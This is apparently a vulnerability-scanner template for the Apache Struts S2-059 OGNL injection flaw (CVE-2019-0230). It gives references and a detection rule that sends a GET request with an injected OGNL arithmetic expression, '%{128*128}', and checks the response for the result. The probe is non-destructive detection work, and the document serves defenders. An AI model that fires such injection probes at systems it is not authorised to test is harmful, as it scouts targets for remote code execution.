Description
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
id: CVE-2019-0230
info:
name: Apache Struts <=2.5.20 - Remote Code Execution S2-059
author: geeknik
severity: critical
description: |-
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-0230
- https://cwiki.apache.org/confluence/display/WW/S2-059
- https://www.tenable.com/blog/cve-2019-0230-apache-struts-potential-remote-code-execution-vulnerability
- http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.html
tags: cve,cve2019,apache,struts,rce
created: 2023/08/10
rules:
r0:
request:
method: GET
path: /?id=afrogtest%25{128*128}
expression: response.body.bcontains(b'afrogtest16384')
expression: r0()
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.